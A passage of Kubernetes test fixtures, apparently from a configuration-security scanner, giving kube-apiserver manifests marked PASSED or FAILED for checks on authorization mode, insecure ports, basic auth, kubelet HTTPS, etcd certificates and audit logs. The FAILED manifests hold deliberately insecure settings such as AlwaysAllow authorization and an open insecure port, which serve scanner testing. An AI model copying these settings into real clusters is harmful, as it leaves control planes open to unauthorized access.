resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerAuditLogMaxBackup/ApiServer-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-pass namespace: kube-system spec: containers: - command: - kube-apiserver - --audit-log-maxbackup=15 image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-pass resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerAuditLogMaxSize/ApiServer-FAILED-2.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-low namespace: kube-system spec: containers: - command: - kube-apiserver - --audit-log-maxsize=10 image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerAuditLogMaxSize/ApiServer-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-missing namespace: kube-system spec: containers: - command: - kube-apiserver image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerAuditLogMaxSize/ApiServer-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-pass namespace: kube-system spec: containers: - command: - kube-apiserver - --audit-log-maxsize=150 image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-pass resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerAuthorizationModeNode/ApiServer-FAILED-2.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-no-mode namespace: kube-system spec: containers: - command: - kube-apiserver image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerAuthorizationModeNode/ApiServer-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-missing namespace: kube-system spec: containers: - command: - kube-apiserver - --authorization-mode=RBAC image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerAuthorizationModeNode/ApiServer-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-pass namespace: kube-system spec: containers: - command: - kube-apiserver - --authorization-mode=RBAC,Node image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-pass resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerAuthorizationModeNotAlwaysAllow/ApiServer-FAILED-2.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-extra-allow namespace: kube-system spec: containers: - command: - kube-apiserver - --authorization-mode=RBAC,AlwaysAllow image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerAuthorizationModeNotAlwaysAllow/ApiServer-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-allow namespace: kube-system spec: containers: - command: - kube-apiserver - --authorization-mode=AlwaysAllow image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerAuthorizationModeNotAlwaysAllow/ApiServer-PASSED-2.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-no-mode namespace: kube-system spec: containers: - command: - kube-apiserver image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-pass resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerAuthorizationModeNotAlwaysAllow/ApiServer-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-no-allow namespace: kube-system spec: containers: - command: - kube-apiserver - --authorization-mode=RBAC,node image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-pass resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerAuthorizationModeRBAC/ApiServer-FAILED-2.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-no-mode namespace: kube-system spec: containers: - command: - kube-apiserver image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerAuthorizationModeRBAC/ApiServer-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-no-rbac namespace: kube-system spec: containers: - command: - kube-apiserver - --authorization-mode=Node image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerAuthorizationModeRBAC/ApiServer-PASSED-2.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-enabled namespace: kube-system spec: containers: - command: - kube-apiserver - --authorization-mode=RBAC image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-pass resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerAuthorizationModeRBAC/ApiServer-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-extra-enabled namespace: kube-system spec: containers: - command: - kube-apiserver - --authorization-mode=RBAC,Node image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-pass resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerBasicAuthFile/ApiServerBasicAuthFile-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --basic-auth-file=some_file image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerBasicAuthFile/ApiServerBasicAuthFile-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerEncryptionProviders/ApiServerEncryptionProviders-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerEncryptionProviders/ApiServerEncryptionProviders-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --encryption-provider-config=config.file image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-pass resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerEtcdCaFile/example_ApiServerEtcdCaFile-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerEtcdCaFile/example_ApiServerEtcdCaFile-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --etcd-cafile=ca.file image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerEtcdCertAndKey/ApiServer-FAILED-2.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-single-key namespace: kube-system spec: containers: - command: - kube-apiserver - --etcd-certfile=/path/to/cert image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerEtcdCertAndKey/ApiServer-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-no-key namespace: kube-system spec: containers: - command: - kube-apiserver image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerEtcdCertAndKey/ApiServer-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-both-keys namespace: kube-system spec: containers: - command: - kube-apiserver - --etcd-certfile=/path/to/cert - --etcd-keyfile=/path/to/key image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-pass resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerInsecureBindAddress/api-server-insecure-bind-address-FAILED.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: kube-apiserver labels: k8s-app: kube-apiserver spec: replicas: 1 selector: matchLabels: k8s-app: kube-apiserver component: apiserver provider: kubernetes template: metadata: labels: k8s-app: kube-apiserver component: apiserver provider: kubernetes spec: serviceAccountName: kube-apiserver tolerations: - key: node-role.kubernetes.io/master operator: Exists effect: NoSchedule containers: - name: kube-apiserver image: k8s.gcr.io/kube-apiserver command: - kube-apiserver - --insecure-bind-address=192.168.1.1 ================================================ FILE: tests/kubernetes/checks/example_ApiServerInsecureBindAddress/api-server-secure-bind-address-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --bind-address=192.168.1.1 image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver ================================================ FILE: tests/kubernetes/checks/example_ApiServerInsecurePort/api-server-insecure-port-FAILED.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: kube-apiserver labels: k8s-app: kube-apiserver spec: replicas: 1 selector: matchLabels: k8s-app: kube-apiserver component: apiserver provider: kubernetes template: metadata: labels: k8s-app: kube-apiserver component: apiserver provider: kubernetes spec: serviceAccountName: kube-apiserver tolerations: - key: node-role.kubernetes.io/master operator: Exists effect: NoSchedule containers: - name: kube-apiserver image: k8s.gcr.io/kube-apiserver command: - kube-apiserver - --insecure-port=80 ================================================ FILE: tests/kubernetes/checks/example_ApiServerInsecurePort/api-server-insecure-port-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --insecure-port=0 image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver ================================================ FILE: tests/kubernetes/checks/example_ApiServerKubeletClientCertAndKey/ApiServer-FAILED-2.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-both-missing namespace: kube-system spec: containers: - command: - kube-apiserver image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerKubeletClientCertAndKey/ApiServer-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-no-key namespace: kube-system spec: containers: - command: - kube-apiserver - --kubelet-client-certificate=/path/to/cert image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerKubeletClientCertAndKey/ApiServer-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-key-and-cert namespace: kube-system spec: containers: - command: - kube-apiserver - --kubelet-client-certificate=/path/to/cert - --kubelet-client-key=/path/to/key image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-pass resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerKubeletHttps/ApiServer-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-disabled namespace: kube-system spec: containers: - command: - kube-apiserver - --kubelet-https=false image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerKubeletHttps/ApiServer-PASSED-2.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-default namespace: kube-system spec: containers: - command: - kube-apiserver image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-pass resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerKubeletHttps/ApiServer-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver-enabled namespace: kube-system spec: containers: - command: - kube-apiserver - --kubelet-https=true image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver-should-pass resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_ApiServerNamespaceLifecyclePlugin/ApiServerNamespaceLifecyclePlugin-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kube-apiserver - --enable-admission-plugins=other image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: 